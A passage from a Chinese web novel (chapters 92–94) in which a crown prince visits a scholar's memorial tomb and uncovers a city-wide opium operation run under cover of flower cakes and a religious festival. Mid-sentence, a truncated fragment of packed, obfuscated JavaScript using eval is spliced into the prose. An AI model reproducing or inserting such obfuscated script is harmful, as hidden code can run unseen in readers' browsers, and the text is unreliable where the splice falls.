柳州上下对阿芙蓉堪称恨之入骨,萧玠听几个阿婆讲述,有一家的独子去外州买卖,染了吃膏的劣习,他爹将他绑在柱上,拿荆条抽了个半死。整整一个月,终于将膏瘾戒掉。 萧玠找了把胡床和众人围坐一处,一抬头,见一位老阿婆从对面纺线。听人说,她做布匹生意,从前极美,诨号叫做棉布西施。她家不像旁人开作花业,没有门头。她自己也更见老,那树根一样的脸颊,很难想象曾是堪比西子的面容。 这边,几个阿婆边筛几色牡丹花瓣,边同萧玠絮絮:“从前还开着娼馆,其实娼馆更是黑膏的窝藏之地——人染上膏瘾就完了,把老婆闺女卖进妓院,自己早晚一天横尸街头……” “作孽——” 棉布阿婆尖声叫道:“作孽——不得好死唷——” 萧玠头皮一麻,身边阿婆们便安抚:“郎君,甭理她。她家从前极鼎盛,就是叫爷们吃膏给败的。这些年脑子糊涂,见谁都说是卖膏的。整天疯言疯语,很不招喜。就咱们这些花饼,还嚷着是罂粟疙瘩包的嘞!” 阿婆们忿忿,拿着新出炉的一块热糕狠狠咬一口。对面棉布阿婆当即嚷得更厉害:“作孽哟,不得好死唷!” 萧玠自己买了一份花糕,走到棉布阿婆面前,蹲身递过去,柔声道:“阿婆,这是牡丹花,不是阿芙蓉。我们是来打阿芙蓉的,咱们这边的罂粟早就烧完了。” 棉布阿婆却如见毒虫,一下子把花糕打落在地,抓紧萧玠胳膊,尖声叫:“作孽,作孽,作孽!” 等回了屋子,萧玠卷起袖子,见臂上被她掐去几个鲜红指印。棉布阿婆惊惶愤恨的眼神犹在眼前,萧玠心口发堵,便起身转转。 沈娑婆连人带琵琶地不在,之前的丽春花也枯了,换了新的。花瓣上晨露未干,散发出淡淡香甜。萧玠看了会花,打算问问郑绥那边的进展,过去正见房门大开,郑绥站在书案边悬腕写字,竟有些儒生文雅的气韵。 萧玠看到,他所书并非寻常宣纸,而像包纸钱的黄底袱纸。他突然想起,五月初五不只是光明神寿诞,也是青不悔的忌日。 92.第 92 章 直到写完那张袱纸,郑绥才抬起头,对萧玠笑笑:“殿下先坐,桌上的点心莫动,姜糖蜂蜜的馅,你吃了要咳嗽。我找点果子露来。” “我就是来转转。”萧玠走到跟前,见纸上开头写道:孝男郑绥代孝男郑素具。 萧玠叹道:“郑将军一片孝心。” 郑绥应道:“是。” 萧玠问:“听闻将军是由青公抚养长大,舅甥情同父子。” 郑绥答道:“是。故人磨灭,已十七年。” 萧玠见他神色淀下去,便岔开话头,道:“你的飞白书又精益了。我见冠军大将军威风赫赫,不料想竟教给儿子一手好字。” 郑绥笑道:“父亲并不擅书道,但家中有几份文正公的书帖。军中偶有空闲,我就练一练。” 听见李寒,萧玠神情波光般闪动一下,抬头正对上郑绥眼睛,忙笑道:“哎呀,没事。我就是有些感慨,飞白体自前代蔡公后断代至今,独青公大成此技。青门弟子里,能书者也是寥寥。老师走得早,若没有你这手字,只怕又要绝后。” 郑绥笑了笑:“青公门下有位杜郎,元和年急流勇退,辞官回乡了。他和父亲偶有书信,那手飞白才是地地道道的漂亮。我这些,不过皮毛。” “你才多大年纪,若现在就比肩前贤,天下举子还过不过了。”萧玠拿起他一旁几张习草,“在哪里烧纸,郑将军有没有嘱咐过?我听说不同地方风俗也不一样,有的地方要面山,有的地方要冲河。” 郑绥道:“去云口。” 云口是青不悔早年给自己埋的衣冠冢。萧玠有些惊异,“但云口在楚州,山遥路远,能来得及?” “是讹传。”郑绥道,“云口就在柳州,现在改叫白云囤。” 萧玠将手中习草放下,“那下个月初五,我同你一块去。青公是我的祖师,我到了这里,如何也该去看看。” 郑绥沉吟:“那咱们明天去。” 萧玠不解,“初五不才是正日子么?” “初五要办光明寿诞,之后还有募捐,臣怕生变。 萧玠仍有些犹豫,“但这样岂不是对先人不敬……” 郑绥笑道:“先人亦是贤人,不会在意这些。” 萧玠也对他一笑,突然想起什么,商量道:“好,那我回去问一问七郎,他若愿意,我便和你一路。若不愿意……你便先走,我带他一道。” 郑绥一时没有讲话,手指挨在袱纸上,纸随风动,一下一下敲他的指节。一会,郑绥道:“沈郎很介意臣。” “没有。”萧玠忙道,“只是我和他相好,私下独自和你出去,多少要同他讲一声。更何况……” 郑绥追问:“更何况什么?” 更何况他知道,我从前喜欢你的。 萧玠嘴唇一抿,只笑道:“更何况咱们打小认识,小时候你陪我睡觉,还睡过一床。你想想,若是以后嫂子知道你有个青梅竹马的娘子,公务上有交道也罢,私下还要一同出去,她心里能不吃味?人之常情。” 既如此,郑绥也没有再说什么。第二日清晨天气晴好,郑绥一早牵马在门外等候,见萧玠穿了一身绉纱衣袍,背了个褡裢骑马出来。等萧玠近前,他方看清萧玠颈间的几枚紫青痕迹,正蹙眉要问,突然想到什么,硬是将话吞下去。反倒萧玠叫他盯得不自在,抬手拢了拢衣领,道:“咱们走么?” 郑绥问:“早晨的药吃了?” 萧玠应:“吃了。” 二人便策马往南,径向白云囤去。路上穿过早市,糕饼清香和炸物油香弥漫,甚至压倒了满城涌动的丽春花香。快道巷尾,一辆水车横来,将一辆外运糕点的货车撞翻。满斗的淡青纸包滚落一地,香气钻出封口缝隙,鼓入众人鼻翼。 见两边要吵架,二人忙下马,郑绥帮忙捡拾,萧玠就赶紧拉架。等货车重新装好,两个主人家也调停完毕。 送糕郎赤着臂膀,脸仍通红,叫道:“若不是看在这位郎君的面子,非得蒙头打他一顿不可!” 郑绥直起身,笑道:“那可不值当。如今他撞了你,要赔你钱。你若打他,他成了苦主不说,你还违反律法,说不定还要去衙门吃板子呢。岂是饶过他?是帮了自己才是。” 送糕郎又嘟哝两句,便也罢了,“也是,真打了他还耽误送货,更不值当。” 郑绥道:“我掂着有不少尽碎了,这么送去,买主不怪罪?” 送糕郎笑道:“不妨事,都是老主顾,好说话。就算碎了咱也得给人家瞧一眼,这才是做生意的本分。” 正说着,萧玠想起一事,“既是去祭拜,咱们却忘了带些祭品。”便对送糕郎道:“我们想包几样糕点,不知您这里怎么卖。” 送糕郎忙道:“我这些不卖。外地的货,哪能随便动的。” 萧玠也不勉强,看了看车中,又问:“我见城中糕点贴的都是红封条,咱们怎么是鹅黄的贴封,有什么区别吗?” 阿郎解释道:“这能有啥区别,黄的往外送,红的自己用。咱们怕装车弄混,这才红签黄签分开。” 人家既不卖,也没有强买的道理。二人便从路边买了些糕饼,忙赶去白云囤。 萧玠有些惊异,郑绥常年忙于军务,按理说应当没有来过云口,但瞧他的架势,对这一带竟轻车熟路。到了郊外,卖果子的市集渐多,郑绥又自行下马,询问有没有樱桃。只是柳州并非樱桃产地,竟无一处售卖。 萧玠也下马,道:“我看黄桃熟得好,买一些带去吧。” 郑绥笑了笑,放弃了对樱桃的执着,“好。” 他们买了一篮黄桃重新上马。萧玠看得出,郑绥对这位素未谋面的舅公,有着独特深厚的感情。 临到地方,竟是一片高大竹林,被太阳晒出一股书简之气,沁人心脾时,很有凝神静气之效。 竹林深处,一座草屋遗世独立。郑绥跳下马背,又替萧玠执镫,道:“这处屋址是他入仕前所住,衣冠冢就埋在屋后。这些年来,父亲只让老仆钟叔看顾。” 萧玠跟他的脚步上阶,却见郑绥两条手臂推开门后,突然一动不动。 萧玠问:“怎么了?” 郑绥皱眉,“有人来过。” 屋内清洁一新,一旁帷帘打开,床榻铺好。桌上有几件书具、一套茶具,壶嘴处还冒着热汽。 郑绥手按腰剑,缓步走向案边。等看清纸上文字时,抬眼看向萧玠,眼中尽是诧然。 萧玠低头看去,浑身一震。 并不为纸上内容,一篇悼亡赋作而已。 只为那字。 一手臻入化境、笔墨未干的飞白。 突然,郑绥双耳一动,拔剑而出时伸臂将萧玠掩在身后。萧玠随即听到逐渐行进、踏着落叶的脚步声,从门前住了住,估计是看见二人马匹,便扬声问:“不知客从何来,所为何事?” 来人身态清癯,一缕长须,面目和善,一双眼睛润如黑玉。他目光一触到郑绥,跨门槛的脚一下子定在原地,上上下下将他打量一圈,那目光绝非见一个素未谋面的陌路之人。半晌,他似乎强行按捺住什么,声音微微颤抖:“敢问小友,你是青文忠公的什么人?” 他直接问青不悔,看来应是故人。郑绥还剑回鞘,揖手道:“在下郑绥,家父正是青公外甥,当朝冠军大将军。” 那人急声问:“你爹是郑素?” 郑绥颔首,“是,不知阁下高姓大名?” “怪不得,怪不得……”那人喃喃,快步走上前,拉住郑绥的手,道,“我姓杜名筠,是文忠公的学生。孩子,我是你爹的同窗。” 郑绥浑身过电般微微一颤,当即躬身,“学生郑绥,拜见伯父。” 杜筠紧紧握住他的手,两眼饱含热泪,“像,太像了,果然是郑涪之的儿子……你爹生得不像你祖父祖母,却像他。你刚刚站在那里,我还以为是老师神魂显灵了……” 两人情绪略平复,郑绥忙从身后引萧玠出来,道:“这位是……” 话音却戛然。 他和萧玠对视一眼,萧玠便整理衣袖,向杜筠深深一揖,“学生拜见先生。李文正公与我有授业之恩,是我的老师。” 杜筠有些意外,“李渡白的学生——看郎君的年纪,他不会只给你开了个蒙?李渡白所开蒙者,只怕普天之下,唯有一人。” 萧玠本不想揭破身份,怕杜筠因一些君臣礼数疏远他,听他直接道破,一时讷讷,“是,我正是萧玠。” 杜筠笑了笑:“李渡白生性不羁,最怕拘束。曾同我讲,每次看老师给门下讲学,听得一些七七八八的胡乱疑问还要解惑,别说百忍成钢,简直快修成佛了。扬言此生绝不收徒,以免虚度他的宝贵光阴。” 他看向萧玠,说:“他很喜欢你。” 见萧玠竟有些畏缩,杜筠忍不住笑起来,“殿下,你是君我是臣,本该我怕你才是,怎么如今掉了个个?” 萧玠欲言又止,终于道:“我听闻当年是老师下令,斩杀了当时的怀帝使者,您的兄长。” 杜筠叹口气:“是,杜氏和李寒有仇怨,但也是公仇,而非私怨。李渡白已作古十二年,有什么值得揪着不放?更何况……若易地而处,我也会做同样的选择。” 说到此,又指了指郑绥笑道:“若说仇怨,只怕他父更恨一些。” 郑绥默然片刻,道:“我父亲说,他是个痴人,也是个好人。” 杜筠讶然:“果真是你父亲口说的?他竟也会说李渡白的好话?” 郑绥道:“这么多年了。” 杜筠颔首,眼中光芒闪动,“这么多年了。” 交谈之中,郑绥烧水,萧玠也重新涮洗茶具。三人从桌边坐下,杜筠叹道:“我们几个之中,张佚云太潇洒,郑涪之太规矩,我么,更不必提。真正能承继老师抱负的,只有渡白一人。” 他见萧玠疑惑,便笑道:“殿下,你以为青文忠公何如?” 萧玠思索片刻,道:“德美才秀曰文,危身奉上曰忠,青公正当此谥。” “危身奉上,是顺应君君臣臣之意。要写老师,其实太过规矩。”杜筠道,“今上执政至今的几次变法,不少都参照李渡白生前议定的章程。所列种种,实是罪在当代利在千秋。但只怕世上少有人知,李渡白并非首创之人。” 水声渐响,杜筠徐徐道:“元和十年,老师初拜右相,拟定新政三十条,像废皇庄功臣田制度、取缔贱籍、女科开放等等,这套政令中均有涉及。但因为太过悖逆,被肃帝一口否决。” 萧玠双眼睁圆。 在他所知所闻里,青不悔堪称文臣的表率,博学鸿儒,进退有度。 正直,又迂腐。 萧玠问: “您的意思是,老师读过文忠公的政令草稿,自此推尊下去?” 出乎意料,杜筠摇首道: “不,在渡白入京之前,老师已将草稿焚尽,之后再未提及。渡白有此宏愿,只是志同道合。” 萧玠思索片刻,问:“学生不解,青公既有壮志,为何不复言此事?” 杜筠却提了另一件事:“我想殿下应该有印象,奉皇六年陛下意图废皇太子继承一事。请问殿下,第一反应是什么?” “当时觉得,陛下厌弃我,要废黜我。” “正是,别说殿下当年不过稚子,只怕世人无不以此揣度。朝野上下争相攻讦,致使新法推行都举步维艰,陛下不得不下罪己诏平息众怒。”杜筠含笑道,“殿下如今长大了,理解陛下的意图了吗?” 萧玠沉吟片刻,方道:“陛下觉得……天下不该为家天下,皇帝和文武百官一样,都是一个官职罢了。既然要公平选士,那帝位也当能者居之。” 杜筠追问:“是帝位吗?” “是皇帝制。”郑绥静静开口。 萧玠陡然抬头,如雷贯顶。 是,那些阿爹登基以来如同幽灵的流言,不是皇帝轮流做。 他是要废皇帝制。 萧玠回忆起小时候争论时阿爹的痛苦神色,和听到崔鲲“罔民者君”的辩题时,那分明欣慰的神情。 他觉得天下不该有天家庶民之分,他觉得如果还有皇帝,就会欺压人。 这就是阿爹真正的宏愿。为此,他埋葬了股肱,推走了阿耶,亲手打碎了家庭。 萧玠嘴唇颤抖,“我有感觉,但我不敢这么想。” 一个皇帝要废皇帝,谁敢这么想? 杜筠颔首,“这就是陛下和家师为什么都不复言事,因为太快了,快到当代之人无法接受。帝制若废,对世族无疑是致命一击,对百姓来说,却是大倾覆的前兆。千百年来,帝位空悬的情况只有一种,就是乱世。兴亡百姓苦,他们过够了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜筠颔首,“息女慧黠美丽,与老师情缘早系。二人约定,等老师归国之后便执礼提亲。老师还梁第二年,肃帝伐燕。第五年,燕国亡国。” 萧玠双唇微张,许久说不出话,还是道:“那息氏的下落……” 杜筠道:“老师倾力找寻,终于在宫中得到了消息。” “宫中,大梁宫里?” “在老师离燕之际,梁燕局势已危若累卵,息氏怕触怒燕君,便将女儿嫁作太子嫔。大梁灭燕之后,燕举国为臣妾,这位息夫人以美貌称闻,也被纳入后宫。”杜筠道,“但息姬在被纳的第二年便郁郁而终,香消玉殒了。” 萧玠正要持匙添茶,见郑绥正手握茶盏,已骨节发白。 杜筠叹口气,将盏中冷茶一饮而尽,道:“家翁公璞公与老师是忘年之交,这些事才略知一二。但息夫人殁后,老师便终身未娶,私心里已视她为妻。只是乱世流离,息姬先嫁燕太子,再嫁梁肃帝,和老师本就缘薄,终究无分。” 一时之间,无人有话。许久,萧玠才叹道:“不想青公如此人物,竟也动过凡心。” 杜筠笑道:“俗世之人,哪有真正的六根清净。也就渡白,多少人说他太上忘情没有心肝。但要我看,他才是真正的大动凡心之人。” 郑绥道:“已识乾坤大,犹怜草木青。” 杜筠笑了笑:“他若活到现在,必引你为毕生知己。但你父多半要从中作梗,也罢了。” 一汤茶吃过,郑绥便要去冢前拜祭。临去时,杜筠专门嘱咐,要他们略写张字带去。纸钱倒是其次,能见后继有人,才是欢喜。 郑绥便先落笔,他笔势一起,杜筠双眼一亮,道:“你练的飞白?这般年纪有此书成,已是天才。郑涪之竟叫你从军,他怎么能叫你从军?” 郑绥笑道:“不论从军还是从文,一样行事,皆无不同。” 他二人写完,便同去屋后林中,找到青不悔的衣冠冢。竹林深处,偶有鸟鸣,更衬四下幽静。郑绥静静注目那座坟冢,目中是出乎萧玠意料的沉重。 他撩袍从坟前跪倒,叫一声:“我来看您了。” 然后一个头磕在地上。 萧玠突然心生凄怆,不知怎么竟欲落泪。这一会,郑绥已站起来,对萧玠说:“殿下,东西请你来烧吧。” 萧玠颔首,便也跪下。在场二人没有阻拦。 他拆开包裹,将袱包置入炭盆点燃。纸钱的灰烬从逐渐萎缩的黄纸里飞出,飞成浴火的蝶阵。最后,萧玠才取过和郑绥合写的那幅字,也放在盆中,叫火舌争相舔尽。 杜筠长喟一声,道:“老师,孩子们都长成了,您放心就是。遇见渡白,也跟他说一声。” 一切事毕,已近黄昏。火红天幕下,杜筠的脸被烤尽风霜,重焕青春时一甲第一的耀目华彩。萧玠牵过红马,轻声问:“您还是不愿入仕吗?” 杜筠笑道:“愿天下再无用我之处。” 江山代有才人出,他的故人已经离去,他们的时代已经落幕。故事已然收束,何须狗尾续貂。做一个活在新时代却沉迷旧梦的人,未必不好。 何况,写新人新事的笔已经被提起来了。 冢前微风拂动,纸灰翻卷。火焰之中,郑绥萧玠的笔墨闪烁,如同箴言。 愿平不公之天壤,缔造大同之世界。 无使生民之乐土,成我一家之庄园。 *** 天色渐晚,杜筠身为长辈,执意送二人回城。将到庄田时夜色已深,萧玠要留他住,杜筠不愿,萧玠便道:“左右进去用些餐饭。” 话说到这里,杜筠也不好推脱。三人翻下马背,郑绥擦亮火折,在前引路。 火光燃起,把黑夜烧出个淡黄孔洞。光照到脚下,纵横沟垄旁,大片丽春花艳如滴血。 突然,杜筠脚步一顿。 他皱眉弯腰看了一会,倒吸口气,蹲下凑近去翻检那花瓣。 萧玠也忙在他身边蹲下,问:“先生,有什么不对?” 杜筠扭过脸,脸色竟是火光也暖不透的铁青,“殿下知道这是什么花?” 萧玠纳罕,“不是丽春花么?” 杜筠摇头,吐出短短一句话,叫萧玠一下子跌坐在地上,脸色煞白如纸。 “是罂粟。”他说。 93.第 93 章 房屋内门窗紧闭,杜筠点燃油灯,仔细翻检花瓣,又观察花心茎叶,道:“确是罂粟无疑。” 他拾起帕子,边擦手边说:“罂粟花和丽春花生得极像,但有所不同。罂粟茎□□,光滑无毛,无分枝,叶边缘为锯齿状,一株一花,花瓣边缘有分裂。而丽春花茎细弱,有分枝,浑身被刺,叶片纤长,一株多花,且花瓣边缘无分裂。太子庄田所种当为前者,殿下没见过,认不出也是有的。” 萧玠眉头紧皱,“不对,还是不对。唐翀收买官员容易,收买民心却难。就算是州府欺上瞒下,但那天太子庄田还来了不少百姓,全部众口一词认定这是丽春……他怎么做到的,他打的什么算盘?” 萧玠呼吸急促起来,他一这样喘气郑绥就大步迈上前,一手抚摩后背替他顺气,一手按他腕上穴道,急声道:“殿下,慢慢吐气!” 萧玠没有咳起来,反手把住郑绥手臂,急声道:“你现在带龙武卫去查抄州府,所有人不许出入,把唐翀给我带过来!但凡违抗,以谋逆论处!” 郑绥忙安抚道:“殿下,你冷静,咱们现在少有线索,切忌打草惊蛇!” 杜筠也道:“小郑说得是,当今之际更要慎行。殿下,不知谁是柳州皇太子庄田的直属监管官?” 萧玠定了定神,缓缓从椅中坐下,道:“柳州都尉郎夏秋荣。” “夏秋荣。”杜筠反复咀嚼,“我记得当朝中书令,是叫夏秋声?” “是,亦是太子太傅。”萧玠道,“夏秋荣是夏相公的堂弟。” 杜筠脸色沉下去,半晌方道:“依我之见,柳州州府是一早料到纸难包火,打定事情暴露便将污水栽到殿下头上。罂粟种植在皇太子庄田,就是为了让殿下涉案,坐实殿下才是牟利的最大东主。避免殿下推说不知情,便由殿下老师的亲戚分管,至少能将太子太傅牵扯进来。” 郑绥冷声道:“好狠毒的心计。” 杜筠道:“唐翀是一州之长,只怕涉案颇深。殿下还是先将夏秋荣提来询问。” 萧玠点头,郑绥当即要走,临出门又被萧玠叫住:“绥郎,你记不记得今日出城时咱们要买糕点,那货车主死活不肯卖?” 郑绥眉头一跳,“殿下觉得车中之物是阿芙蓉糕?” “很有可能,咱们也得问问坊市里知情的人。”萧玠思索片刻,突然眼神一亮,“三娘花露胭脂对面有个棉布铺子,里头有个上年纪的阿婆,也将她请来。” 郑绥当即抱拳出门,兵分两路去寻二人。烛火之下,那枝罂粟像一只美人手腕,散发一股浓香血气,萧玠闻在鼻中几欲作呕。他想不通,再美的柔荑,现在也是一只死人的手。为什么那么多人做梦也要枕这样一只死人手? 房门再开时,棉布阿婆抱着纺锤走进来。她神情极度惊惧,缩肩耸背,两只眼睛鼠一样将屋中角落溜过一圈。萧玠走上前想扶她,她当即往后一退,咬着牙,目光狐疑审慎。 萧玠没有强迫,弯腰到和她视线齐平的高度,轻声问:“阿婆,你还记不记得我?那几天我常去你那条街买糕点,你说他们作孽。他们的确干了什么,对不对,你知道什么对不对?” 棉布阿婆仍不开口,眼睛死死盯着他。 杜筠劝道:“殿下,我看这位阿婆受过刺激,别逼问她。你刚刚所说今日买糕是什么事?” 萧玠将情形仔细说明,杜筠追问:“那车糕点和寻常糕点有什么不同?” “签子不对。”萧玠道,“进城以来,我见所有鲜花制品都是用红签封口,那车用的是黄签。车主说此车外送,怕将货物弄混,特地用黄签区别。” 杜筠又问:“殿下这些日里,没有见过在柳州出售黄签的铺面?” 萧玠道:“的确没有。” 杜筠沉吟片刻,道:“只怕外送是真,区别也是真,但真正区别的另有他物。” 萧玠会出他言外之意,当即起身,先命人安置好棉布阿婆,又唤尉迟松派几个轻功卓越的卫兵潜入坊市,看看能不能找一些黄签货品回来。他自己打开包袱,拿出今日新买的糕点,拆开红签条,露出糕饼清香的酥皮。 杜筠掰开糕饼,露出鲜花酿蜜的瓤心。他取出一簪头从指间捻开,仔细嗅过后,道:“无事。” 等龙武卫将鹅黄签封的纸包递过来时,杜筠如法炮制。萧玠看到,那糕点夹心呈一种更深的紫红。接下来,他看到杜筠放下糕点,朝他点了点头。 萧玠一下子坐到椅中。 商户用红签子的正常鲜花制品来打掩护,实际要做的,是黄签标记的阿芙蓉物。 怪不得面对罂粟花田,柳州竟无一百姓指认,怪不得这些天各处走访全无线索。 不是官府一家作恶,全城百姓俱是帮凶。从种植采摘到制作倒卖,分工明确配合得当,仗着萧恒多巡穷僻之地未至柳州,竟做出这等丧尽天良的勾当。 好一座从上到下、从官到民、从头烂到脚的毒城! 入夏天热,夜晚也潮闷,萧玠却觉一阵一阵骨中发冷。 白日花团锦簇的城池,一到晚上就成了腥臭罪恶的粪池。白日红光满面的乡邻,扭脸就能撕下画皮,变成青面獠牙投毒杀人的厉鬼。 怎么成了这样……好好的官员、好好的人民、好好的城市,怎么都成了这样? 萧玠逼迫自己冷静下来,等到龙武卫井然有序的马蹄声和脚步声近前,房门再次打开,夏秋荣在郑绥跟前一步一拖地迈进门。 还不待萧玠开口,他已扑通一声跪倒在地,高声叫道:“臣知罪,请殿下降罪!” 萧玠脸色冰冷,“看来都尉郎知道我要问何事。” 夏秋荣额头抵地,声音埋在地砖和肢体的狭小空间里,听上去异常沉闷:“臣是皇太子庄田主事,殿下召臣,自然要问田务……” 萧玠点点头,“那我问你,庄田里种的到底是什么?” 夏秋荣眼睛一转,正要开口就被人打断:“不要油嘴滑舌。” 郑绥道:“殿下代天巡狩,若有谎言,罪同欺君。” 夏秋荣忙道:“是,是。” 他眼睛觑向萧玠,迅速垂首,低声道:“是……阿芙蓉。” 萧玠连连冷笑:“好,好!我大梁官吏竟以此牟利以此为生,好极了!我问你,你是受谁主使种植阿芙蓉的——你自己绝不会有这个胆子。” 郑绥唰地拔出腰间,冷声喝道:“说!” 夏秋荣趴在地上,连声哀求:“我说,我说!太子庄田一切事宜都是听从堂兄夏秋声夏相公安排,夏秋声确系主使啊殿下!” 萧玠霍地立起来,震得桌上断花一颤。他疾声喝道:“夏秋荣!你可知攀诬朝廷大员是什么罪名!” 夏秋荣连连磕头,“臣不敢,臣区区八品小官,这样大的主意,臣一个人吃了熊心豹子胆也操办不来啊!堂兄素来清贫,但嫂夫人体弱,小侄儿也常年吃药,更 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“专程对接,那就是有来有往。”萧玠面无表情,“他和你互通有无的书信呢?给我。” 唐翀道:“每次书信都特意强调阅后付炳,臣遵照嘱令,全部烧了。” “好一个空口白牙!”萧玠喝道,“既如此,你指认夏秋声主使,又有什么凭证?” “柳州府上下俱是人证。何况若非夏相公授意,臣又怎会不顾规制,叫夏秋荣一个八品都尉郎监管此事?”唐翀不疾不徐,缓缓道来,“殿下,何况夏氏堂兄弟交从紧密,夏秋荣连妻儿都寄居长安、由夏相公代为安置,这样拳拳的兄弟之情,说他为夏秋声办事,难道没有半分道理吗?” 萧玠看了他一会,冷笑道:“唐刺史心有七窍,好玲珑的心计啊。调用夏秋荣,怎么也能拉夏相公下水,又带上满城百姓做你的伥鬼。这样上行下效,你要满城都做你的陪葬!” 他一下子拧住唐翀衣领,手上出了汗,叫官袍上的禽兽绣图磨得发痛。萧玠厉声问道:“你是怎么做到的?你是怎么让所有柳州人卖掉良心做这等丧尽天良的营生的?” 唐翀静静看他,突然说起另一件事:“臣听闻玉升元年,西琼兵围潮州,城中粮草断绝。陛下为了守城,开了人食人的先例。如此丧尽天良之举,潮州上下竟争相效仿,甚至在怀帝当政便公然推陛下为首,殿下觉得,陛下是怎么做到的?” 他微笑道:“民心似水,顺昌逆亡。臣罪大恶极也是为百姓谋利,人为财死,这样天大的财富,他们能不跟从吗?” 萧玠浑身哆嗦起来,郑绥忙将他扶起,听萧玠喝道:“押下去……让他认罪画押,明日午时当街斩首!” 唐翀仍跪在地上,慢条斯理地整理被萧玠揪松的衣襟,徐徐道:“臣官居四品,是朝廷命官天子门生。按大梁条律,独陛下有权生杀官吏。殿下只是太子,无权斩杀微臣!” 萧玠冷冷道:“本宫代天巡狩,有便宜处置之权。本宫杀你,正合法度!” 唐翀像刚刚醒悟,“原来合法,那臣引颈受戮别无他话。” 他抬头凝视萧玠,“但殿下,臣记得陛下新颁的政令规定,凡炮制、贩卖、走私阿芙蓉物二斤以上,判处斩首。按这条律令,把柳州人杀光都不够。殿下既要依法办事,那就请天子卫队尽诛罪人,屠遍柳州城!” 94.第 94 章 萧玠耳中“轰”地一声雷响,什么都听不清了,许久,才听到唐翀的惋惜之声隐隐传来:“只是柳州地域不小,只怕一个月也杀不完。也好,这样流血漂杵的景象,臣只从暴君乱世的记载中读到过,还要叩谢殿下,叫臣跟天下人开了这个眼呢!” 萧玠看着他,像看一条粉红斑纹的毒蛇。他在捏住这条蛇的七寸时也被毒牙一口咬在命脉上。 人命……满城罪恶的人命,是要算成罪恶还是算成人命?如果杀,一个屠城的太子是要杀死社稷的根基,如果放——又怎么能放?罪恶遗毒的人命是命,无辜受害的人命就不是命?法不责众的法算什么法,黑白颠倒的法又是什么法?今日一个法不责众可以脱罪,明日是不是聚众杀人也能开释? 萧玠一阵接一阵地战栗起来。肺中冷气被他一截一截地挤出口鼻,哆哆嗦嗦,吹得桌上灯火摇摇荡荡。萧玠盯着那灯,那火,那凝血一样的光明的余韵……光明。 萧玠浑身一抖,像亡命之人发现一只可怕的怪兽,转过头死死盯住唐翀。他有些口干舌燥:“光明神的寿诞集会,你们打的什么盘算?” 他问出口,唐翀反倒志得意满地笑起来:“殿下聪慧,咱们柳州城从不缺远道而来、等待宴飨的贵客。” 坐在一旁的杜筠拧眉,“近期有集会?” 郑绥便将今年的名单和往年的名单礼单交给他。杜筠迅速翻看,倒吸冷气,正听萧玠问道:“宴飨——什么法会捐赠,你是以此为幌子,打造一个专供上流出入的蜃楼!” “殿下。”杜筠出言打断,“此事只怕要恶劣百倍。” “我游历四方,听闻前朝曾有官员开办赌坊妓馆牟取暴利,但殿下知道,哪怕在肃帝朝时这二物也绝不准朝臣沾染。此官为了将非法所得的黑钱变成白钱,便兴修佛寺,又捐赠善款。如此一来,这些流水不仅干干净净光明正大地入账,还给他镀了再世菩萨的金身。” 杜筠沉吟:“依我所见,这次所谓的集会就是打的这个主意,所有捐款的善人,只怕都是阿芙蓉生意的东家人。” 贵客来宾,满座高朋。 衣香鬓影后,是金盆洗不干净的血腥。 “好、好,好得很!”萧玠怒极反笑,“光明信众,美名远扬,原来光明神就是你们谋财害命的幌子,杀人投毒的邪教!” 唐翀笑道:“殿下真当柳州人是光明徒众?看来殿下没有看清光明神祠正中供奉的牌位,上头正是殿下名讳,奉殿下为咱们柳州光明宗一宗之主!大伙是为了追随殿下才信奉殿下的信奉,论起来,柳州人实际是殿下的门下、东宫的信徒!” 见萧玠脸色瞬间雪白,唐翀仍保持他优容的、介绍风物般的口吻,慢声慢气道:“殿下不是要将罪人尽诛吗?这名单之上足有百余人,个个非富即贵,更要紧的,他们都是世家的子侄。只说虞氏一脉,长房共出三男,三男俱在名录,一刀下去就要断子绝孙。” 他连连摇头,“殿下,你这是要把八大世家的根全断了呀!你说他们高坐京中的父母叔伯,能眼睁睁看他们人头落地?你这么一刀砍下去,真的不会砍出又一个八公之乱吗?” 郑绥紧密关注萧玠神色,唐翀此话一出后他当即喝道:“来人!将他押解下去,对外只称殿下与唐刺史秉烛夜谈,不许走漏半点风声!” 龙武卫立刻入门,将唐翀从地上拉起架下去,唐翀的笑声也随脚步远了:“殿下,你怎么怕了?要杀人的是你,该怕的是臣啊!” 郑绥半跪下来,紧紧握住萧玠双手,道:“殿下,越是紧要关头越不能自乱阵脚,当务之急是找出主使。” 他顿了顿,还是问:“殿下觉得……会不会是夏相公?” 萧玠把脸埋在掌心,喃喃:“我不知道,我真的不知道……我相信老师,但我之前也是那么相信许仲纪,相信程忠兄弟……我不敢相信我自己的相信了!” 他出气长进气短地喘起来,郑绥不敢迫他,只腾出手替他捋背。桌上,那朵罂粟断茎处汁液蜿蜒,乳白色,像虞闻道滑过他腿间的残痕。 本该美丽的,实则有毒的,要他性命地兀自绽放着。 房门大敞,暑热天里居然射进冷风。萧玠遍体生寒,听沉默许久的杜筠开口:“唐翀敢将事实披露,打定了殿下上下为难。像这些贵族子弟,若真是阿芙蓉作业的背后东主,殿下真的要按律而斩?” 萧玠哑声道:“治国无法则乱。” “那百姓呢?”杜筠问,“柳州城操持阿芙蓉作业的百姓,怎么办?” 萧玠张了张嘴,那样轻飘飘一个字,他却无论如何也开不了口。 人命何其沉重。 这时,屋外响起尖利的老妇哭声,赶在龙武卫拔刀之间萧玠急声喝道:“不要伤她,让她进来!” 棉布阿婆冲进来,跪在萧玠脚下,凄声哭叫着:“好郎君,好殿下,不要杀人,不要杀人哪!” 萧玠如何也搀不起她,从对面半跪下将她扶住,问:“阿婆,你没有疯,是不是?你那次在街上提醒我,是怕我拿错糕吃,你这次不肯说……” 